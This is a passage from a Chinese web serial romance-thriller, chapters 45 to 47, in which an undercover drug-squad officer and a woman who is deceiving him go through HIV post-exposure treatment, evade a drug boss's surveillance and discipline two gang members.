监控画面里,梁然打开了床头台灯,灯光照亮她的脸,她眼神镇静又冷漠,靠近问他在说什么,温柔的嗓音全是关心,但脸上无动于衷。 沈宗野看完很平静,表情淡淡的。 谢天明却红了眼眶,狠狠踹了下桌脚。 沈宗野:“干什么,脚不疼啊?” 谢天明眼里涌上雾气,他是心疼沈宗野。 沈宗野睡前把隐藏的监控打开,谢天明在手机上也能同步看到,才着急地赶回来。他是见到沈宗野蜷缩在被子里,嘴里喃喃的不知道在说什么,那表情很可怜。 谢天明有些想哭。 沈宗野笑了笑,安慰他:“我说什么梦话了?” “监控里听不到,不知道梁然听到没有,你还有印象吗?” “我梦到了我妈妈。”沈宗野说,“应该没有什么问题。” 谢天明沉默着。 沈宗野撑着腰坐起来,腹部伤口真他妈疼,他勉强笑:“你这个表情做什么?” 谢天明眼睛红红的,黑亮的眼珠子蒙着泪,跟他平时抓捕犯人的勇猛完全不一样。 他说:“我们去抓毒贩也比干这个强!董自新完全不信我们,连他手底下一个司机都靠近不了,呆在这儿有什么意思!”他狠狠踹桌脚。 沈宗野撑起身下了床,走过来拍了拍谢天明肩膀:“慢慢来,我们不着急。现在已经很好了。” 受过伤的沈宗野实在比以往虚弱,他薄唇上起了干燥的纹路,但是眼神依旧坚定,朝谢天明笑。 谢天明没忍住,背过身去看窗外,不敢让沈宗野看见他这么大人了还动不动流眼泪。 沈宗野失笑,走出客厅。 谢天明以为沈宗野是把空间留给他消化情绪,但沈宗野很快又回来,递给他一瓶插着吸管的AD钙奶。 谢天明终于忍不住了,死死昂起脖子把眼泪吞回去。 太阳落下了。 夜晚又来了。 这是属于隐蔽线上的黑夜,他们只能装着光,在黑处披荆斩棘。 第45章 第45章“梁然,挺过来就好了。…… 公寓里又剩下沈宗野和梁然。 谢天明被沈宗野叫回去盯着公司运转,不能让董自新对他们起疑。 王局给沈宗野回复了电话,老万的血检结果显示他是一名艾滋病患者。 沈宗野虽然做过准备了,还是会有些沉重。 王局安慰他:“你吃药的时间在2个小时内,先不要担心,阻断率很高。” 沈宗野问起了案子。 队里从那些尸体中检出了冰du样本,其中一具婴儿骨骼检验的DNA证实与老万存在99.9%的亲子关系。王局说被逮捕的小弟里头有两人已经招供是老万杀的人,十几年前埋的尸体。 老万最开始拒不承认,但王局从其中一具年轻女尸腐烂的衣物中拿出老万的照片,老万才怔了好久,承认是他杀的又怎么样。警方开始审问冰du,老万又开始装傻不认。但幸好老万的手下有两人尿检呈阳性,毒瘾发作时招供了一些走毒线索。 有些奇怪的是老万明明发现沈宗野背叛他了,但竟在审讯中没有透露过沈宗野的名字,也拒不交代姜义是谁,他只是看着那份亲子鉴定报告一会儿哭一会儿笑。 沈宗野听完算是了了一桩心事,这次卧底也算是有收获。 王局说目前正扩大范围搜捕姜义,让他安心养好身体。 药物在沈宗野身上的副作用很明显,沈宗野又昏睡了一天,醒来几乎都在呕吐和头晕中度过。 反观梁然倒没有什么反应,只有在看见沈宗野吐了时,才会感到一点恶心。 吃过午饭,梁然窝在客厅沙发上看电视剧。 她播的是一部韩剧爱情片,搁平时她完全没时间看剧,这种恋爱脑剧情也看得少。 把工作看得很重要的她实在理解不了为爱可以奉献自我的那种精神,不过如今在沈宗野身边,她只能扮演好这个傻白甜的恋爱脑人设。 沈宗野从卧室出来。 梁然坐起身:“我吵到你了?那我再小声点。” 沈宗野慵懒地系着睡袍,他脸上依旧没什么精神,整个人懒洋洋的,往沙发上一坐,有些百无聊赖。 他看了眼梁然,又扫了眼电视机:“这是你平时的爱好?” 梁然心上一动,他开始关心她爱好了? “是啊,我羡慕这种至死不渝的爱情。” 沈宗野轻飘飘一笑:“我不信。” 梁然靠在他肩头,绕开话题:“沈宗野,阻断药的成功率只有95%,如果,如果我们没有成功阻断病毒……”梁然有些彷徨地望着他。 沈宗野说:“那我们至少有伴了。”他半是戏谑半是认真,“真没阻断成功,你就跟着我锁死啊。” 梁然眼眶有些红了,靠在沈宗野肩膀上。 她没有再开口,反正已经到这一步,她必须要让所有付出有价值。 “你让天明去查轻松一号的事,有后续了吗?” “云肖买过这药,还在查。” “怎么不直接问你「云上人间」那个朋友?” 沈宗野说:“他没有主动说,我不好直接问,董叔是我的贵人,我在等机会。” 梁然安慰他会有机会的。 如今沈宗野竟也愿意这样坐下来,像和她聊家常一样说起他的秘密。 梁然轻轻抿了抿唇,掰着沈宗野的手指把玩。他的指骨修长,指甲干净,修得很短,光看他的手部就知道这是一个身材比例完美的男性。 梁然说:“我想画画了,你上次送我的颜料我还没拆开用,你当我的模特吧。” “你想画我?” “嗯。” “没兴趣。” 梁然:“你随便做什么都好,不用一动不动,我画我的。” “我说了,我没兴趣。”沈宗野懒洋洋抽出被梁然把玩的手指,换成揽住她肩膀,他说,“乏得很,我只想赶紧把身体养好。” 梁然没再坚持,拿出手机:“那我们拍张合照?” 她弯起唇笑,打开原相机,靠在沈宗野胸膛。 沈宗野没有兴致,他眉眼疏离,病中少了往日冷戾的锐气,颓懒地掀起眼皮瞥了眼摄像头。 “我不爱拍照。”他侧过脸去。 “就是因为你不爱做这些,我才觉得我被你特许了待遇,让我开心一下嘛。” 梁然说话时已经狂按拍摄,存下来好几张照片。 原相机不加修饰,明明屋子里阳光充足,却没有把他们皮肤照得那么平整光滑,但是照片这种不加修饰的质感更让他们的脸生出高级的立体感,尤其是沈宗野。他轮廓分明,五官在照片里也极具英正,偏头躲开时侧脸更显得硬挺。 梁然不喜欢一个反派拥有这种颜值。 但她滑着照片笑:“很配。” 只是她忽然倒抽口气,摁灭手机扶住头顶。 她莫名其妙又偏头痛了。 “嘶……我头疼。” “那你去睡一觉。” 才刚吃过午饭,梁然没什么困意,但也没反对,撑着沙发起身,这会儿觉得连脚裸扭伤的关节都剧痛起来。 她在床上也睡不着,翻来覆去到了下午,头痛反而加剧。 “沈宗野……”梁然抱紧被子喊。 沈宗野来到她房间:“还是不舒服?” 梁然很难受,以往的偏头痛都还能忍受,这一回像被人扯着颅内神经弹吉他,整个脑袋都痛炸。不知道为什么,她身上骨骼也开始痛起来,尤其是脚踝扭伤那里。 “我嗓子里干干的。”梁然抱着被子坐起来,睡裙吊带从肩头滑落,这会儿早就没功夫像从前那样凹造型勾引沈宗野了。她说,“我骨头也好痛,身上到处都疼……” 沈宗野为她倒来一杯温水。 梁然捧着水喝。 又有药递到她面前。 “看看吃哪个。” 沈宗野给她的有头痛粉剂,咽喉糖,退烧药。 “你没发烧吧?”他手掌覆上她额头,“还好。” “我有点头晕。” 沈宗野说:“那不放心就测个体温,能熬过去就先别吃退烧药,阻断药很伤肝肾。” 梁然点点头。 沈宗野将体温计递给她,梁然夹在腋下,抬起头看他。 她的目光很柔软,病中的脸不像往常美得那么有攻击性,有些病态的白。 她目光散散的:“你让我靠一下。” 沈宗野坐到了床头。 梁然在他胸膛靠着,她闭上眼睛。 这是她最脆弱的一刻,但她想利用一切机会走进沈宗野的心。 她本来就是为他来的。 梁然蹙着眉,把沈宗野的怀抱当做可以休憩的港湾,侧着脸枕在他颈窝里。 “这么靠着你,你伤口会疼吗?” “还好。” 时间到了,沈宗野要她取出温度计。 梁然看了眼,38.2度。 “看来我也要到你的地步了,真痛苦。” 沈宗野拍了拍她脸:“挺过来就好了,还是先睡一会儿,嗯?” 他替她掖好被子,带上房门出去了。 梁然吃的头痛药慢慢起了作用,身体没再觉得那么疼,但胃又开始抽搐起来,嗓子依旧很干。 她忽然冲进卫生间抱着马桶狂吐。 太难受了。 阻断药副作用这么强吗,真的好灾难! 梁然吐得涌起生理性泪液,眼眶都是红的。 沈宗野听到声音从卧室出来,梁然蹲在马桶边上,光着脚的脚趾因为痛苦而紧紧蜷缩着。 沈宗野递给她水和纸巾。 梁然完全是闭着眼睛在漱口,白皙的脸越发惨白,眼尾挂着一点湿红。 沈宗野站在一旁。 他虽然反感梁然,但不管处于何时,警察的职责都会让他照应一个弱者。 他整理梁然凌乱的头发,搀扶起她。但梁然站不稳,眼睛半睁着,瞳孔都有些涣散。 沈宗野薄唇微抿,手臂从她膝下穿过,将她横抱回床上。 被压到伤口的疼痛让他也闷哼了声。 梁然听到了这一声粗喘。 她在他要起身时抓住了他手腕,睁开眼。 “珠子裂了。” 梁然在看他腕骨戴的沉香手串。 上面有几颗冰种蓝色翡翠,是她特意选的,花了六位数,这串别具一心的手串也是珠宝商按她的要求搭配出来的独一款。如今其中最好看的一颗珠子有了裂痕,应该是那天晚上打斗时碰裂的。 可惜了。 但是她在可惜什么呢。 这一切本来都是假的。 沉香的薄荷凉飘在鼻端,浅淡的木香余韵在这么一刹那安抚了身体的疼。 她说:“可惜了,等我好了再给你重新挑一颗换进来。” “没必要换。”沈宗野说,“是我们共同的记忆。” 梁然微怔,狐疑闪过心头。 沈宗野摸了摸她额头,嗓音低沉:“梁然,挺过来就好了。” 梁然笑了,眼眶红红的。 有他这句话,她这一切至少没有白费。 …… 梁然睡到凌晨时醒了。 口干舌燥,被子里都是湿的,她浑身都是汗,坐起身又觉得肚子很饿。 已经是凌晨两点了,梁然下床去客厅找吃的。 谢天明睡在客厅,马上就醒了,问她:“嫂子,你饿了啊?” “好饿。”梁然在翻冰箱,但没找出什么能吃的东西。 谢天明说去帮她热饭,他们给她留了晚饭。 梁然看着碗里的鱼和肉,胃里又翻滚起来。 “我不想吃肉,我想吃清淡的。” 谢天明有些犯难:“这个点也不能叫大鱼了,那我给你点个外卖?” 梁然和他坐到餐桌前看着手机上的外卖。 这么晚了,还在营业的店铺几乎都是烧烤店,梁然光是看那些图片都有些难受恶心,如今的口味实在是跟健康的时候不一样。 她让谢天明别点了,索性吃几个冰箱里的圣女果算了。 谢天明把沈宗野给他买的麻辣土豆片和AD钙奶贡献出来:“你先吃点零食,我再给你找找看。” “要吃面吗?” 沈宗野打开房门出来。 光影镀着他挺立的脸,英隽的青年陷入阴影里面,眼眸有些看不真切。 梁然看着他点了点头。 第46章 第46章沈宗野说:“抱抱再走。…… 深夜醒来,沈宗野身上是件短袖,宽松的家居长裤,手腕上的表摘了,但右手还是戴着梁然送的沉香手串。 他穿过客厅走向厨房,打开灯开始忙碌。 梁然回头时正好看见谢天明似乎有些不爽的表情,但谢天明又很快热情地把小零食推到她身前。 “嫂子先吃点这个垫垫。” 梁然胃里还是难受,吃不了那么辣的,插上吸管喝了一口谢天明递过来的AD钙奶。这种东西她也只有小时候爱喝,但林悦至今也还喜欢喝。 梁然很想林悦,偏头望着落地窗外,小区的路灯仍亮着,但对面楼里已经没有灯火,那些人都睡得很安稳,只有他们一家支离破碎,再也回不到从前的安稳了。 沈宗野在厨房里忙碌,他应该是手臂上的伤还没好,被谢天明着急地说了一句:“放着我来!你怎么不小心点,伤口没扯开吧?” 沈宗野说没事。 谢天明还在心疼。 梁然看着落地窗,无动于衷。 她对沈宗野这点伤毫不在意,甚至他可以半死,或者半残,然后等着法律来审判他这种罪人。 梁然有时候实在很怪自己怎么会有这么阴暗的一面。 沈茹救下那个跳水轻生的女生时,沈茹死了。那段时间,她没有一天不恨那个女生,怎么死的不是那个女生,而要拖她妈妈下水,害她和梁悦没有了妈妈。 梁幸均被推进火化房,出来时变成了一个小盒子。梁然捧在怀里,手臂在颤抖,心脏也在颤抖。她心脏里全是仇恨,恨那些制毒的人为什么不去死。 沈宗野说:“你要吃拌面还是汤面?” “我想吃汤面。”梁然回过头,冲沈宗野弯起唇角。 沈宗野回到厨房继续忙碌。 梁然的笑淡下来,眼神无比冷漠。 三碗面做好了,谢天明那碗面最多,沈宗野的最少。 公寓这边没备食材,面汤只是一点海鲜酱油加橄榄油,冰箱里也没有蔬菜,沈宗野就将圣女果切成片煮进了面汤里,梁然这碗的圣女果最多。 “这个小番茄煮面原来这么好吃。”梁然笑着,问沈宗野,“有勺子吗,我想喝汤。” 沈宗野起身要去拿勺,谢天明说他来。 谢天明将勺给梁然,梁然喝了几口汤,清淡的酸甜,没想到味道还不错。 她实在是饿了,认认真真地吃起面。 谢天明捧着碗直接喝汤。 沈宗野也吃着他那碗,他不是很饿,梁然吃得很专注,他说:“再捞点过去。” 梁然喝着勺子里的汤:“我够了。” 她忽然拿起手边的AD钙奶,举到中间说要干杯。 沈宗野没什么表情,薄唇边噙着一点淡笑,配合着梁然也取出一瓶。 谢天明懒得配合。 梁然:“天明,一起啊。” 谢天明这才堆起敷衍式的假笑举起他手边这杯。 梁然说:“祝我们一家人一直都这么整整齐齐,祝我们永远幸福快乐,健康平安,达成所愿!Cheers!” 三瓶AD钙奶碰撞在一起。 …… 沈宗野在清晨拉开窗帘时发现了对面五楼的异常。 那间屋子的窗帘一直都是拉上的。 他眼眸暗沉,如果没判定错,对面应该有人在盯他。 他很自然地站在窗前撑展双臂,像往常一样穿进客厅。 之前选定这个小区时,沈宗野和谢天明特意对周围环境摸排清楚了。每个早起时站在窗前也不光是单纯地拉窗帘伸懒腰,而是注意周遭环境有没有变动。 对面五楼之前从来没有拉过窗帘,没怎么亮灯,应该还没人住过。 沈宗野找出之前物业给大鱼的房屋出租表。 表单的更新日期在昨天晚上,显示房子是出租状态。 谢天明已经早起去了公司。 大鱼来送早餐时,沈宗野便对他说:“打这个电话说你想租房。” 大鱼照做,问完后回沈宗野:“房子已经租出去了,昨天刚租的。宗哥,是有人盯着咱们吗?”大鱼紧张时又开始结巴,“不、不会是警、警察吧?” “不清楚,昨天天明去医院想看老万,听说老万被抓了。” 大鱼一个激灵,表情更加恐怖了。 沈宗野恨铁不成钢地睨了他一眼,淡淡说:“装作什么都不知道,照常干你的。” 他转身打开梁然的房门。 如果沈宗野没有料错,想盯他的人应该是董自新。 姜义虽然如今还没被警方找到,但绝对不可能出现在宁城。 最大的可能是董自新知道老万被抓了,想证明跟他有没有关系。 卧室里很安静,梁然仍在睡觉,拉着窗帘的屋子很是昏暗。 沈宗野平时也没见过梁然有在屋子里喷香水,但这间卧室在她住进来后空气里都绕着淡淡的甜香。 他拉开了窗帘。 梁然被声音和光吵醒了。 她勉强睁开眼睛,见到沈宗野一时没有反应过来。 沈宗野:“……” 醒醒,该演戏了啊。 发烧烧过头了吗。 “身体好一点了吗?”沈宗野弯腰整理梁然的头发,“睡出这么多汗。还好,没发烧。” “沈宗野……”梁然想坐起身,但他离她太近,她挣扎了两下又只能躺下。 沈宗野亲了亲梁然脸颊:“感觉怎么样?” “还行。”梁然浑身没力气,而且什么也想做,只想躺平。她以往都是精力充沛,和乔思嘉忙起来时一天能飞三座城市,哪有这样过。 她忽然觉得今天的沈宗野有一些不一样。 他似乎开始对她感兴趣了。 男女之间那种兴趣。 沈宗野手指绕着她头发,薄唇边噙着淡笑。 他这样光深情款款地笑,却不讲话,梁然虽然盼这一天,但也没什么精神。 她勾住他脖子:“你今天身体好些了吗?” “我好多了。” 沈宗野拿下她的手,吻着她手指。 滚烫的呼吸拍打在皮肤上,梁然有些微微的痒。 沈宗野吻着她的手背,手腕,又吻她的唇。 梁然偏头躲开,他的吻落在她唇角。 他眉梢微挑,眼眸有些不悦,那眼神好像在说“你怎么能拒绝”。 梁然下意识垂下视线去看,这也看不出什么啊? 他早上有这爱好? 沈宗野薄唇微抿:“我亲你不舒服?” “不是,我都没刷牙。” “那不亲你嘴。”沈宗野低沉的话音刚落,微凉的唇已经落在梁然脖颈上。 他的发梢扫得梁然皮肤痒痒的,她弓起身体,忽然才看见窗帘还没拉。对面那栋楼这么近。 “小心有人看到了。” 沈宗野没理她,他呼吸炙热,手掌也像滚烫的铁。 梁然的嗓音都有些颤抖:“拉窗帘,哎呀对面能看到……” 她尽量在控制她的不耐烦和厌恶。 沈宗野呼吸粗重,恋恋不舍埋起头:“你自己去拉。” 梁然对他翻了个白眼,只能不情不愿去拉好窗帘。 沈宗野脱着居家服裤子,梁然拉好窗帘转身。 他忽然接起电话,转身又把裤子穿上,就坐在梁然的房间里对着手机说:“嗯,嗯。” 梁然对他有些看不懂,说:“你接电话吧,我出去洗漱。” 沈宗野拽住了她。 梁然一个趔趄被他拽回胸膛。 他正靠在她床头,梁然便只能倒在他怀里。 沈宗野说:“抱抱再走。” 梁然怔住了。 好像从向邬道告诉她轻松一号那件事后,沈宗野就对她好转了很多。 她就这样靠在沈宗野怀里,忽然想起来乔思嘉问她摸没摸过胸肌腹肌。梁然那时说还没这福气。 沈宗野的胸膛是柔软的,但他呼吸起伏的时候肌肉紧实,她能感受到。 梁然翻过身,撑着胳膊看他:“今天怎么了,你吃药了?” “老子吃什么药?” “我以为你吃轻松一号。” 沈宗野笑着眯眼:“只是觉得心疼你。” 梁然也冲他露出专业假笑。 沈宗野拍了拍她脸颊:“你再躺一会儿吧,大鱼在卫生间拉屎,你待会儿再出去。” 梁然:“……” 十几分钟后,沈宗野从梁然的房间出去,穿过客厅时提了提裤腰。(′з(′ω‘*)轻(灬ε灬)吻(ω)最(* ̄3 ̄)╭甜(ε)∫羽(-_-)ε`*)毛(*≧з)(ε≦*)整(* ̄3)(ε ̄*)理(ˊˋ*) 他去房间换了身衣服,和梁然打招呼说他出去一趟。 梁然一直没听到大鱼从卫生间出来,忍得难受了走出房门打算去催大鱼,但卫生间的门开着,大鱼早就走了。 …… 沈宗野今早是演戏。 没办法,他受伤养病的事不能让董自新知道。 他下楼在常光顾的便利店买了包烟,打通大鱼的电话,安排大鱼打一辆私家车从小区车库上车,再停在小区旁的药房。 大鱼做好后,沈宗野则走去那家药房,进去买药。 这一路他没察觉有人跟踪,但是他知道对面五楼的人肯定会找机会跟着他。 路上行人来往经过,沈宗野拎着买好的药,停下打了个火。他手掌拢着打火机,点燃一支烟,拨动打火机时没看到金属外壳上有什么异常的投影。 他走进小区,耳机里终于传来一道男人的声音,不同于药房里其余人问药买药的声音。 “你好,刚刚我兄弟买的药不知道怎么吃,麻烦你再说一遍。” 沈宗野刚才将一部手机特意落在了药房靠近门口的架子上,用药盒掩盖。 他勾起薄唇,塞紧耳机继续听。 店员说:“按说明书啊,刚刚也叮嘱他了,避孕药要72小时之内吃。但是吃多了毕竟伤女孩子的身体……” “是,知道了知道了。”男人问,“那他拿的另一盒药,你给我再拿一盒那个。” 耳机里一阵嘈杂声,店员应该是去找药了,十几秒后又响起了声音:“进口的,按说明书吃。” 男人问多少钱。 店员说:“二百九十九元。” 男人:“先不要了。” 沈宗野把通话挂断,眼底有些懒恣的笑意。 他买的是避孕药和延时药,刻意制造他最近沉溺温柔乡的状态。 电梯打开后,门后的步梯间传来一声咳嗽。 沈宗野推门进去,这里没有摄像头。 大鱼等在楼梯间,按沈宗野刚才在电话里的交代,坐在私家车里拍下了那个进入药房的男人。 沈宗野放大画面。 是一个三十多岁的男人,一米八的身高,魁梧,看起来很能打。 沈宗野没见过,但他猜到是董自新在调查他。 沈宗野记性很好,已经记下这人的样子,删掉视频,交代大鱼:“做顿药膳给老万送去。” 大鱼先是一愣,然后才明白他的意思。 沈宗野在三个小时后给董自新打去电话,铃声响到将要结束时董自新才终于接起。 “董叔?”沈宗野语气很急,“我让弟兄刚才给老万送点药膳过去,医院竟然说老万被抓了!” “三天前的事!你知道吗?”沈宗野压低急迫的嗓音,“怎么办,警察会不会查到我这儿?我上次可是进过一次公安局,我不能再被盯上!” “你在哪儿?”董自新声音平静。 “我在我家啊,我住南华府,小区名字之前跟您提过。我现在该怎么做?董叔,您帮帮我。” “老万的事跟你有什么关系,你急什么。” 董自新依旧是淡淡的:“还有,我也不认识老万是谁,问我做什么。” 沈宗野忙说对不起,语气依旧急得像热锅上的蚂蚁。 他能感觉到董自新能接这个电话,证明对他是存着一点信任的心思。 董自新嗓音如常问他:“这几天在做什么?” “也没做什么,我女朋友身体不好,陪她来着。” 董自新一声哂笑:“你还挺痴情。” 沈宗野也笑。 董自新说:“我要挂了,我这里不需要你的人来消费,管好你的手下。” 沈宗野有些疑惑,想开口时电话已经挂断。 董自新这句话不像是叮嘱,倒像是警告。 沈宗野回到公寓。 梁然窝在沙发上看电视剧,屏幕上又是讲着韩语的高颜值男女。 有暖气的屋子里穿一件单衣足够了,但梁然还有些低烧,觉得冷,薄肩上裹着一层羊绒披肩。 她望着他:“你去哪了?” “下楼买烟。” “买烟要去这么久。”梁然没追问,朝餐桌呶呶嘴,“早餐我吃完了,可是碗我不会洗。” 沈宗野说:“我等下洗。” 梁然静静看了他一会儿,睫毛不曾眨动,眼神有些意味不明,她笑了笑,继续看起电视。 沈宗野打给谢天明,让他把云肖和李浩带过来。 第47章 第47章他嗓音格外温柔,像一种…… 董自新最后那句话不是凭空讲的。 云肖和李浩过来后,沈宗野问他们三天前的晚上去了哪里。 沈宗野没有回避梁然。 梁然坐在沙发上,一边看韩剧一边听着他们谈话。 云肖说:“和浩子喝了点酒,就开了个便宜酒店睡了一晚,第二天早上八点就开车回公司了。” “记得还挺清楚。”沈宗野在笑,可他的笑声没什么温度。 梁然掀起眼皮看他,青年端坐在对面沙发上,长腿舒展,拨动着手上的沉香珠串,眼神实在太冷漠。 云肖干笑。 沈宗野又问那一整天他们都做了什么。 云肖想了想,把白天到晚上的经过毫无保留说完,几点干了什么,几点吃的饭,又花了多少钱,见到了什么人……按沈宗野的要求全都事无巨细。 “哦,再说一遍,倒着说。”沈宗野嗓音淡淡的。 云肖一愣,又是一阵尬笑:“哥,倒着说就不必了吧,我记性也不好……” 沈宗野懒洋洋地掀起眼皮,眼眸漆黑。 云肖笑容僵硬,开始倒着说刚才那些话。 有意思。 梁然弯起红唇来。 云肖有三次把时间和事件说重复了,梁然都能听清楚,沈宗野不可能听不出。 但云肖显然没意识到,还在继续编着,这么艰难的事让他眉头越拧越紧,又不得不保持一种尬笑。直到李浩缩着脑袋,胳膊撞了撞云肖。 “八点在酒吧,不是九点……”李浩小声提醒,眼神很怵沈宗野。 云肖意识到不对劲,忙堆起干笑:“哥,我记错了,我重新编,不不,重新说!”可话到最后,云肖自己也编不下去了,脸一横,眉一拧,直接梗着脖子摊牌,“算了,那天我和浩子犯了点错……” 云肖说那天晚上他们喝了点酒,去了「云上人间」想泡个澡,结果被经理徐川赶了出来,但李浩醉醺醺的,对徐川破口大骂。 沈宗野眼神越来越沉,明明有着暖气的屋子也像开着冷空调一样,有冷气直扑。 沈宗野什么话都没说,只是这样看着云肖,他眼里失望极了,但他一句责怪都没有。可梁然不动声色看着,只觉得沈宗野这人足够掌控人心。 这人即使懒洋洋地坐着拨动沉香珠子,周身也尽是一股子邪气。 直到云肖自己在这份眼神下愧疚,狠了狠心,抡起李浩就是一拳打过去。 “我叫你喝酒,我叫你睡女人!我叫你他妈的不听话……”云肖的拳头没有停下。 沈宗野听到这句话只是极淡地掀起眼皮:“什么睡女人?” 李浩哭着交代是他花了钱的,是正经睡的,没给沈宗野闯祸。 沈宗野轮廓分明的脸直接沉下来。 云肖一边对沈宗野说对不起,没看好他这个兄弟,一边又狠狠扇李浩,又扇他自己。 客厅地板上有血迹,是李浩和云肖的鼻血。 梁然有生理性的作呕,但在强忍着。 她看着沈宗野,这个男人无动于衷,只是很淡然地站起身,黑漆漆的眼盯着李浩,揉了揉那根残疾的断指,又背过身站到落地窗前,继续数着他手上的沉香珠串,英隽的背影像足了一个拨动佛珠的虔诚教徒。 可梁然知道,他是个暴徒。 李浩明显被云肖揍得不轻,弓着背,额头触到地板上。 谢天明也没开口,在一旁静站着。 大鱼结结巴巴说:“浩子,你也太、太不该去嫖c了,宗哥都说了现在在关键时期,咱不能惹恼了董、董叔。你好好给宗哥道个歉吧。” 云肖这才累及地停下来。 李浩从云肖拳头下爬到沈宗野身后,地板上蜿蜒出他鼻子和口腔里流出的血迹。 梁然现在见血就很抵触,会害怕各种传染病毒。 她浑身汗毛直立,后背都打了个冷颤,但是依旧看着电视机,抱紧了膝盖上的抱枕。 “哥,我错了,我不该去嫖,不该喝醉酒,不该去董叔那里闹事……” 李浩不停跟沈宗野道歉。 沈宗野头也没回,修长背影依旧面朝落地窗外。 气氛有一些压抑,李浩的痛哭声和电视机里的韩语交织在一起,实在够诡异。 云肖又过来拎起李浩就揍,那一拳拳十足的全力,让梁然这个第一次见到这种场面的人觉得恐怖。 一声声拳头完全盖过了电视机的声音,梁然终于忍不住说:“沈宗野……” “有你说话的份么?” 沈宗野低沉的嗓音打断她,他的语气寡淡,转过身面无波澜睨她一眼。 梁然在他瞳孔里看到一场黑暗的暴风雪。 像十五岁那年她在长白山的那个晚上,听完电话就不顾一切冲出去。漫天的冰雪,她在漆黑的夜里失去了沈茹,视野里暗无天光,雪落了满身。 梁然终于在这一刻再次感到惧怕。 原来这才是他们的世界吗。 沈宗野从她脸上移开视线,穿过客厅,去收餐桌上的盘子。 那是梁然吃过早饭时一直搁桌上没洗的。 他竟然端着盘子和碗进了厨房,水流声哗啦响,他在厨房里洗完碗才慢斯条理擦着手,长腿舒展坐到沙发上。 云肖完全揍累了,手背上也都抡出了乌青,坐在地板上喘气。李浩则跪在地板上捂着鼻子,指缝里也渐渐渗出血来。 谢天明看了眼沈宗野,找出医药箱给李浩止住鼻血。 沈宗野揉着那根断掉半截的拇指:“当初救下你们兄弟两个,我说过你们想走就可以走,是你们要留下来和我出生入死。现在我在这里装乖,你们俩在外面喝酒嫖。娼耍酒疯,对得起老子吗?” 云肖说他错了。 李浩哽咽,不敢吱声。 梁然用余光在看沈宗野,把电视声音调小。 她不动声色找出手机,调成静音模式,打开了录像,借用抱枕悄悄地遮掩,想录下沈宗野的罪行。 沈宗野嗓音极淡:“我奔着什么来宁城,你们两个不清楚?这是唯一一次,谁阻拦我事业就是断我命根子,我就断谁命根子。” 李浩吓没吓坏梁然不知道,但梁然手机差点没拿稳。 沈宗野轻飘飘说:“滚吧。” 李浩哽咽地说着保证的话,走的时候和云肖两个人将地板上的血迹擦干净了才轻轻出去。 沈宗野看向梁然。 梁然飞快摁灭手机。 他起身走过来。 她心跳很快。 沈宗野来到她身前,高大的青年弯下腰,手臂撑在她背后沙发上,抬起手。 梁然几乎以为他是要抢夺她手机,她极力在控制恐惧滋生的那种抑制不住的颤抖,但沈宗野只是捋了捋她耳边的头发。 “我教训手底下的人呢,你插什么嘴。”他嗓音格外温柔,像一种低哄。 梁然抬起眼睛看她,睫毛有细微的颤动,她极力让这双桃花眼里只有温柔的娇嗔,没有恐惧。 沈宗野亲了亲她红唇。 梁然眼里的娇嗔更浓。 心里的恶寒更深。 “吓到你了?” “嗯。” 沈宗野低懒地笑了声:“哦,那我下次需要提前跟你打个招呼,还是让你回避?” “不需要,我会慢慢习惯你的世界。” 梁然迎着他的眼神,望进这双漆黑无边的眼眸。 她抿起唇,勾住他脖子说:“你欢迎吗?” 沈宗野唇边勾起极淡的笑。 他横抱起她朝卧室走去。 梁然急忙抓紧了手机。 沈宗野又吻了她。 从她耳朵到脖子,他的亲吻没有那么急不可耐,很浅很慢,滚烫的呼吸却打乱了梁然的心智,让她更恐惧更厌恶。 可这明明是她终于等到的一天。 他手掌掐着她细腰,将她耳垂亲吻得潮湿。明明该有下一步,可他却一直持续这样的亲吻。 梁然勾住他脖子,去吻他薄唇,却被他手指捏住下巴偏过这个亲吻,他好像格外喜欢上吻她的耳朵。耳周的燥痒一直蔓延到周身,梁然忍不住在他胸膛下不安地扭动,气息变得越来越喘。 直到谢天明回来了。 “哥,都办好了。” 沈宗野这才停下。 他漆黑的眼眸似笑非笑,梁然看着他,眼睫仍在喘息里颤动。 他拍了拍她脸颊起身出门。 梁然深深呼吸,望着窗外夕阳拖着的橘黄色尾巴。 她没有照镜子,没有看见她白皙的脸颊已经潮红一片,颤动的眼睛仿佛春日绽放的粉樱。 沈宗野和谢天明在另一间房间谈话。 谢天明说:“已经跟云肖和李浩都说了,对面五楼有董叔的人盯着。云肖很后悔,李浩也知道错了。” 今天的确是想做给对面五楼盯梢的人看。但沈宗野也确实恼了李浩,也恼云肖隐瞒。 沈宗野说:“让所有人都盯着点李浩,再他妈嫖。娼试试。” 他又交代:“我有部手机落在楼下药店了,你晚上帮我取回来。” 谢天明点点头,有意多看了沈宗野一眼。 他们之间很默契,沈宗野知道谢天明想问什么,他无所谓地笑了下:“我没事。” 谢天明有些心疼沈宗野,食指弯曲,比出他和沈宗野才懂的那个手势为他打气:“加油啊。” 和一个女毒贩扮演虚情假意的亲密,对一个缉毒警察来说怎么不恶心呢。 谢天明去了公司。 沈宗野走去卫生间,梁然在卧室里叫他,他假装没有听到,关上门。 梁然身上很香,是一股掺着绿意的兰香,又像冰雪清冷的味道。沈宗野这几天和她接触,身上不知不觉沾了这股香气,有董自新的人盯着,他不应该洗掉这股香味才是。可他无比厌恶,在水龙头下擦洗,但这股香气还是似有若无地萦绕在他鼻端。 沈宗野冷冷望着镜子,手臂上的伤发炎了,肿胀又痛痒,但他没法去医院,不能让董自新知道他身上有伤。 他用消过毒的刀片划开那一段肿胀的伤口,挤出脓血,重新处理包扎。 疼痛让他手臂青筋遍布,鼻梁也渗出一层薄汗。 “沈宗野?我想进来。”梁然在门外。 沈宗野一声不吭,紧咬牙关把伤口处理干净,做完一切,他后背衣服都被汗水浇透了。 他打开门,冷笑十分嚣张:“老子拉屎你也要进来看吗?” 梁然微愣了下,也许是他前一秒还深情款款地掐着她腰吻她,下一秒又这么肆意张狂。 她瞪了他一眼,这才看到架子上的药箱。 “你怎么了?” 梁然握住沈宗野手臂,想掀起他的衬衫衣袖。 沈宗野抽出手:“重新包了下伤口。” “是发炎了吗?那去医院吧,怎么能在卫生间处理。” “去不了,外面有董叔的人盯着。” 梁然愣住。 沈宗野撑着门框,梁然的表情倒有些丰富,他弯下腰,嗓音蛊惑:“怕了?老万被抓,董叔疑心怕跟我有关系,估计每个和老万有接触的人他都在盯着,你最好也乖一点,否则被董叔误会就不好了。” 梁然点点头:“我明白了,虽然跟我们俩没关系,但被人误会向来是解释不清楚的,我会听你的话。” 沈宗野收起撑在门框上的手臂,走出了卫生间。 